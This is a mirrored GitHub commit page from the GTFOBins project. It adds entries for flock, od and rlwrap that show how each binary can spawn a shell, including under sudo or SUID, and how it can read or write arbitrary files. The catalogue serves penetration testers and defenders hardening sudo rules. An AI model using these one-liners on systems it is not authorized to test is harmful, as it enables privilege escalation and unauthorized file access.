mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 15:59:17 +01:00
Add flock, od, rlwrap
This commit is contained in:
parent
6e6cbb66a7
commit
3f8a62a253
9
_gtfobins/flock.md
Normal file
9
_gtfobins/flock.md
Normal file
@ -0,0 +1,9 @@
|
||||
---
|
||||
functions:
|
||||
execute-interactive:
|
||||
- code: flock /tmp /bin/sh
|
||||
sudo-enabled:
|
||||
- code: sudo flock /tmp /bin/sh
|
||||
suid-enabled:
|
||||
- code: ./flock /tmp /bin/sh -p
|
||||
---
|
9
_gtfobins/od.md
Normal file
9
_gtfobins/od.md
Normal file
@ -0,0 +1,9 @@
|
||||
---
|
||||
description: |
|
||||
Three spaces are added before each character in the read file, and
|
||||
non-printable chars are printed as backslash escape sequences.
|
||||
functions:
|
||||
file-read:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
od -An -c -w9999 "$LFILE"
|
14
_gtfobins/rlwrap.md
Normal file
14
_gtfobins/rlwrap.md
Normal file
@ -0,0 +1,14 @@
|
||||
---
|
||||
functions:
|
||||
execute-interactive:
|
||||
- code: rlwrap /bin/sh
|
||||
sudo-enabled:
|
||||
- code: sudo rlwrap /bin/sh
|
||||
suid-enabled:
|
||||
- code: ./rlwrap -H /tmp/y /bin/sh -p
|
||||
file-write:
|
||||
- description: This adds timestamps to the output file.
|
||||
code: |
|
||||
LFILE=file_to_write
|
||||
rlwrap -l "$LFILE" echo data
|
||||
---
|
Loading…
Reference in New Issue
Block a user